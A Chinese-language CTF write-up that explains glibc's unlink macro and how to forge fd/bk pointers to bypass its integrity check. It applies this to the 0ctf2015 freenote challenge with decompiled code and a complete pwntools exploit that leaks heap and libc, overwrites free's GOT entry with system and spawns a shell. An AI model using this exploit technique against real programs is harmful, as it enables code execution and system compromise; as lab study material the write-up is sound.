unlink 是一个宏操作,用于将某一个空闲 chunk 从其所处的双向链表中脱链。
glibc:2.27
源码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| #define unlink(AV, P, BK, FD) { if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) malloc_printerr ("corrupted size vs. prev_size"); FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr ("corrupted double-linked list"); else { FD->bk = BK; BK->fd = FD; if (!in_smallbin_range (chunksize_nomask (P)) && __builtin_expect (P->fd_nextsize != NULL, 0)) { if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) malloc_printerr ("corrupted double-linked list (not small)"); if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; P->bk_nextsize->fd_nextsize = P->fd_nextsize; } } } }
|
绕过检查
大小检查过后会将 P 链入
1 2
| FD = P->fd; BK = P->bk;
|
效果如图
之后会有一个关键检查
1 2
| if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr ("corrupted double-linked list");
|
绕过这个检查,构造 fake chunk
1 2
| P->fd->bk == P <=> *(P->fd + 0x18) == P p->bk->fd == P <=> *(P->bk + 0x10) == P
|
可以推出,如果要让P->fd + 0x18
和P->bk + 0x10
都指向p
,只需要修改p
的 fd 和 bk 为
1 2
| P->fd = &P - 0x18 P->bk = &P - 0x10
|
这样就能绕过检查。
用图表示即为
脱链
1 2
| FD->bk = BK; BK->fd = FD;
|
脱链只能在 smallbin / largebin / unsortedbin 中脱,它们都是双向链表,因此脱链操作必须同时修改前后 chunk 的 fd 或者 bk 指针,操作如下
1 2
| FD->bk = BK <=> P->fd->bk = p->bk <=> *(P->fd + 0x18) = P->bk BK->fd = FD <=> P->bk->fd = p->fd <=> *(P->bk + 0x10) = P->fd
|
结合绕过检查,可以得出如下结果
对 Ⅰ式做换算,得到 P = &P - 0x10
1 2 3 4
| ∵ P->fd = &P - 0x18 ∴ *(&P - 0x18 + 0x18) = P->bk => P = P->bk ∵ P->bk = &P - 0x10 ∴ P = &P - 0x10
|
对 Ⅱ 式做换算,得到 P = &P - 0x18
1 2 3 4
| ∵ P->bk = &P - 0x10 ∴ *(P->bk + 0x10) = P->fd => P = P->fd ∵ P->fd = &P - 0x18 ∴ P = &P - 0x18
|
又因为程序运行时从上到下的,所以最终 P = &P - 0x18
即断链之后 P 指针将指向 (&p-0x18) 的内存
(假设我们设置 P = free_got, *(&P-0x18) = system,那么当下一次 free 一个堆块的时候,就会调用 system。)
用图表示即为
largebin 脱链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| if (!in_smallbin_range (chunksize_nomask (P)) && __builtin_expect (P->fd_nextsize != NULL, 0)) { if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr ("corrupted double-linked list (not small)"); if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; P->bk_nextsize->fd_nextsize = P->fd_nextsize; } }
|
largebin 脱链相对来说会更复杂
先看看 largebin 的结构
首先也有一个检查
1 2 3 4
| if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) { ... }
|
可见只有当 P->fd_nextsize != null 时才需要修改,因为如果 P->fd_nextsize == null ,说明 P 是尺寸相同的一组 chunks
的非第一个 chunk,此时 P 的 fd_nextsize 和 bk_nextsize 是没有意义的,自然没有修改的必要。
检查通过后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; P->bk_nextsize->fd_nextsize = P->fd_nextsize; }
|
利用思路
对可利用指向 chunk 的 ptr 指针进行操作
- 修改 fd 为 ptr - 0x18
- 修改 bk 为 ptr - 0x10
- 触发 unlink
ptr 处的指针会变为 ptr - 0x18。
例题
buuctf 0ctf2015_freenote
保护
主要函数
定义结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| _QWORD *sub_400A49() { _QWORD *result; int i;
chunk = malloc(0x1810uLL); *chunk = 256LL; result = chunk; *(chunk + 8) = 0LL; for ( i = 0; i <= 255; ++i ) { *(chunk + 24LL * i + 16) = 0LL; *(chunk + 24LL * i + 24) = 0LL; result = (chunk + 24LL * i + 32); *result = 0LL; } return result; }
|
show
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| int show() { __int64 v0; unsigned int i;
if ( *(chunk + 8) <= 0 ) { LODWORD(v0) = puts("You need to create some new notes first."); } else { for ( i = 0; ; ++i ) { v0 = *chunk; if ( i >= *chunk ) break; if ( *(chunk + 24LL * i + 16) == 1LL ) printf("%d. %s\n", i, *(chunk + 24LL * i + 32)); } } return v0; }
|
add
只能申请 0x80 和 0x180 大小的 chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| int add() { __int64 v0; int i; int size; void *v4;
if ( *(chunk + 8) < *chunk ) { for ( i = 0; ; ++i ) { v0 = *chunk; if ( i >= *chunk ) break; if ( !*(chunk + 24LL * i + 16) ) { printf("Length of new note: "); size = my_read(); if ( size > 0 ) { if ( size > 0x1000 ) size = 0x1000; v4 = malloc((0x80 - size % 0x80) % 0x80 + size); printf("Enter your note: "); sub_40085D(v4, size); *(chunk + 0x18LL * i + 0x10) = 1LL; *(chunk + 0x18LL * i + 0x18) = size; *(chunk + 0x18LL * i + 0x20) = v4; ++*(chunk + 8); LODWORD(v0) = puts("Done."); } else { LODWORD(v0) = puts("Invalid length!"); } return v0; } } } else { LODWORD(v0) = puts("Unable to create new note."); } return v0; }
|
edit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| int edit() { __int64 v1; int v2; int v3;
printf("Note number: "); v3 = my_read(); if ( v3 < 0 || v3 >= *chunk || *(chunk + 24LL * v3 + 16) != 1LL ) return puts("Invalid number!"); printf("Length of note: "); v2 = my_read(); if ( v2 <= 0 ) return puts("Invalid length!"); if ( v2 > 4096 ) v2 = 4096; if ( v2 != *(chunk + 24LL * v3 + 24) ) { v1 = chunk; *(v1 + 24LL * v3 + 32) = realloc(*(chunk + 24LL * v3 + 32), (128 - v2 % 128) % 128 + v2); *(chunk + 24LL * v3 + 24) = v2; } printf("Enter your note: "); sub_40085D(*(chunk + 24LL * v3 + 32), v2); return puts("Done."); }
|
delete
存在 uaf 漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| int delete() { int v1;
if ( *(chunk + 8) <= 0 ) return puts("No notes yet."); printf("Note number: "); v1 = my_read(); if ( v1 < 0 || v1 >= *chunk ) return puts("Invalid number!"); --*(chunk + 8); *(chunk + 24LL * v1 + 16) = 0LL; *(chunk + 24LL * v1 + 24) = 0LL; free(*(chunk + 24LL * v1 + 32)); return puts("Done."); }
|
利用
存在 uaf 漏洞
程序一开始会定义一个结构体,结构体中会存放 chunk 的数量,chunk 自身的大小、使用情况、指针
1 2 3 4
| add(0x8,'a'*0x8) add(0x8,'b'*0x8) add(0x8,'c'*0x8) add(0x8,'d'*0x8)
|
我们可以利用 unlink,将堆指针指向该结构体,就可以实现任意地址写了
综上利用方法就是 unlink + double free
泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| add(0x8,'a'*0x8) add(0x8,'b'*0x8) add(0x8,'c'*0x8) add(0x8,'d'*0x8)
dele(0) dele(2) add(0x8,'a'*0x8) add(0x8,'b'*0x8) show() p.recvuntil('a'*0x8) heap = u64(p.recvuntil('\n').strip().ljust(8,'\x00')) - (0x1150940-0x114f000) print("heap:"+hex(heap)) p.recvuntil('b'*0x8) libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - (0x7f0dd52dab78-0x7f0dd4f17000) print("libcbase:"+hex(libcbase))
|
虽然程序默认会将 size 扩大为 0x80,但是并不会影响泄露
当我们 dele 掉 chunk 0 和 chunk 2,两个 chunk 都会被链入 unsortedbin
再次申请回来,并且大小限定为 0x8,就能够泄露出 heap 和 libc
double free + unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ptr = heap + 0x30 pay = p64(0) + p64(0x51) pay +=p64(ptr-0x18) + p64(ptr-0x10) pay += "A"*0x30 pay +=p64(0x50) + p64(0x20) add(len(pay),pay)
pay = 'A'*0x80 pay +=p64(0x110) + p64(0x90) pay +='A'*0x80 pay +=p64(0) + p64(0x71) pay +='A'*0x60 add(len(pay),pay) dele(2)
|
因为程序有 uaf 漏洞,之前 free 掉的指针还是可以用的,修改内容做到和之前的 chunk 一一对应
后:
前:
dele(2) 触发 unlink
改地址
1 2 3 4 5 6 7 8 9 10 11
| free_got = elf.got['free'] system = libcbase + libc.sym['system'] pay = p64(6) pay +=p64(0x1) + p64(0x8) pay +=p64(free_got) pay += "a"*0x40 edit(0,len(pay),pay) edit(0,0x8,p64(system))
add(0x8,'/bin/sh\x00') dele(4)
|
触发后指向 chunk 0 的指针会指向 ptr-0x18
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from pwn import*
p = process('./main') elf = ELF('./main') libc = ELF('2.23/libc.so.6')
def add(size,con): p.sendlineafter(':','2') p.sendlineafter(':',str(size)) p.sendafter(':',con)
def edit(idx,size,con): p.sendlineafter(':','3') p.sendlineafter(':',str(idx)) p.sendlineafter(':',str(size)) p.sendafter(':',con)
def show(): p.sendlineafter(':','1')
def dele(idx): p.sendlineafter(':','4') p.sendlineafter(':',str(idx))
add(0x8,'a'*0x8) add(0x8,'b'*0x8) add(0x8,'c'*0x8) add(0x8,'d'*0x8)
dele(0) dele(2)
add(0x8,'a'*0x8) add(0x8,'b'*0x8) show() p.recvuntil('a'*0x8) heap = u64(p.recvuntil('\n').strip().ljust(8,'\x00')) - (0x1150940-0x114f000) print("heap:"+hex(heap)) p.recvuntil('b'*0x8) libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - (0x7f0dd52dab78-0x7f0dd4f17000) print("libcbase:"+hex(libcbase))
dele(0) dele(1) dele(2) dele(3)
ptr = heap + 0x30 pay = p64(0) + p64(0x51) pay +=p64(ptr-0x18) + p64(ptr-0x10) pay += "A"*0x30 pay +=p64(0x50) + p64(0x20) add(len(pay),pay)
pay = 'A'*0x80 pay +=p64(0x110) + p64(0x90) pay +='A'*0x80 pay +=p64(0) + p64(0x71) pay +='A'*0x60 add(len(pay),pay)
dele(2) gdb.attach(p) free_got = elf.got['free'] system = libcbase + libc.sym['system'] pay = p64(6) pay +=p64(0x1) + p64(0x8) pay +=p64(free_got) pay += "a"*0x40 edit(0,len(pay),pay) edit(0,0x8,p64(system))
add(0x8,'/bin/sh\x00') dele(4)
''' chunk 0x0000000006020A8 ''' p.interactive()
|
参考博客
https://cloud.tencent.com/developer/article/1557872